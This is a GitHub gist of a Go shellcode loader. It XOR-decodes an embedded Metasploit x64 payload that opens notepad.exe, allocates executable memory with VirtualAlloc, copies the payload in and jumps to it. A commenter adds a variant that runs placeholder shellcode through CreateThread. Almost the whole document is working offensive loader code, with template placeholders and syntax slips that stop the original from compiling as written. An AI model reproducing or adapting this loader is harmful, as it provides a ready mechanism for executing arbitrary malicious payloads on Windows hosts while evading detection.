Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Created May 13, 2020 21:15
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d to your computer and use it in GitHub Desktop.
Save mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d to your computer and use it in GitHub Desktop.
Simple Shellcode loader implemented in Golang
//
// Simple Shellcode loader implemented in Golang.
//
// Compilation:
// $ go build -o foo.exe shellcodeLoader.go
//
// Mariusz B. / mgeeky (@mariuszbit), '20
// <mb@binary-offensive.com>
//
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = $KEY_1
KEY_2 = $KEY_2
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
//
// simple x64 Metasploit payload launching notepad.exe
//
var xorKey = 0
var xoredShellcode := [] byte {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74, 0x65, 0x70,
0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00
}
var shellcode [] byte
for i := 0; i < len(xoredShellcode); i++ {
shellcode = append(shellcode, xoredShellcode[i] ^ xorKey)
}
addr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode))
)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
// jump to shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
@Igweibobo
Copy link

,<>573

@Igweibobo
Copy link

,<>573

@r0psteev
Copy link

thanks for the really pro example. what worked for me though was to use CreateThread instead.

package main

import (
    "syscall"
    "unsafe"
    "time"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")

    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    CreateThread = kernel32.MustFindProc("CreateThread")
)

func main() {

    shellcode := [] byte ("\x90\x90\x90\x90\xcc\xcc\xcc\xcc")

    addr, _, err := VirtualAlloc.Call(
        0, 
        uintptr(len(shellcode)), 
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE,
    )

    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }

    _, _, err = RtlCopyMemory.Call(
        addr, 
        (uintptr)(unsafe.Pointer(&shellcode[0])), 
        uintptr(len(shellcode)),
    )

    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }

    // jump to shellcode
    //syscall.Syscall(addr, 0, 0, 0, 0)
    _, _, err = CreateThread.Call(
        0, // [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
        0, // [in]            SIZE_T                  dwStackSize,
        addr, // shellcode address
        0, // [in, optional]  __drv_aliasesMem LPVOID lpParameter,
        0, // [in]            DWORD                   dwCreationFlags,
        0, // [out, optional] LPDWORD                 lpThreadId
    )

    time.Sleep(1*time.Second)
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment